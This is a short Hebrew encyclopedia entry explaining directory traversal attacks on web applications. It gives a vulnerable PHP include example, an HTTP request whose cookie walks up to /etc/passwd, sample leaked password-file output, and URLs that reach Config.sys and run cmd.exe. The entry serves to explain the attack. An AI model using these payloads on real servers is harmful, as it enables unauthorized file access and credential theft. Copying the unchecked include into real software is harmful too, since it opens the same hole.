Directory Traversal

מתוך המכלול, האנציקלופדיה היהודית
קפיצה לניווט קפיצה לחיפוש

Directory Traversal או Path Traversalאנגלית: Directory Traversal, "מעבר בין סיפריות") היא התקפה נגד שרת או יישום אינטרנטי שמטרתה גישה לא מורשית אל מערכת הקבצים.

בהתקפה זו, מזהה התוקף אתרי אינטרנט המפנים לעמודים ולקבצים שונים ובודק את אימות הנתונים כאשר מזין קלט שונה.

במידה ומבוצע אימות, היישום אינו פגיע אך במידה ולא מבוצע אימות, הוא מוסיף פרמטרים נוספים (/..) המשנים את מבנה הנתיב וכך הוא יכול לעבור בין סיפריות שונות במערכת הקבצים ואף לחזור אל ספריית השורש ולטעון קבצים שאינו מורשה לצפות בהם.

שימוש

פונקציית ()include מייבאת את הקובץ הרצוי, במידה והוא קיים מציגה אותו למשתמש.

בעזרת חזרה על מספר תווים הנחשבים למסוכנים, ניתן לגשת אל סיפריות שונות במערכת הקבצים ואף לחזור אל ספריית השורש ולצפות בקבצים חסוים:

  • /..
  • \..
  • ..

ניתן לקודד את התווים ובכך לחמוק מזיהוי של מערכות ההגנה השונות.

בדוגמה שלהלן, פגיעות ביישום הכתוב בשפת PHP:

<?php
$template = 'red.php';
if (isset($_COOKIE['TEMPLATE']))
   $template = $_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/" . $template);
?>

שינוי בקשת HTTP, חזרה אל סיפריית השורש ופתיחת קובץ המשתמשים:

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

לחולל שינוי בתגובת השרת:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh 
daemon:*:1:1::/tmp: 
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

הפגיעות בכתובת ה-URL:

בדוגמה שלהלן, מתרחשת טעינה של קובץ בשם page.html. במידה והמערכת אינה בודקת את הערך יוכל התוקף לשנות את הערך לביטוי אחר כרצונו.

http://www.example.com/index.foo?item=page.html

בהתאם לסוג מערכת ההפעלה ובעזרת ניסוי וטעייה, יחזור התוקף אל סיפריות האב ויחפש את הקבצים הנדרשים.

http://www.example.com/index.foo?item=../../../Config.sys

במידה וגם השרת עצמו פגיע, ניתן לקרוא ליישומים הרצים עליו:

http://www.example.com/index.foo?item=../../../Windows/System32/cmd.exe?/C+dir+C:\

ראו גם

קישורים חיצוניים

הערך באדיבות ויקיפדיה העברית, קרדיט,
רשימת התורמים
רישיון cc-by-sa 3.0

23819451Directory Traversal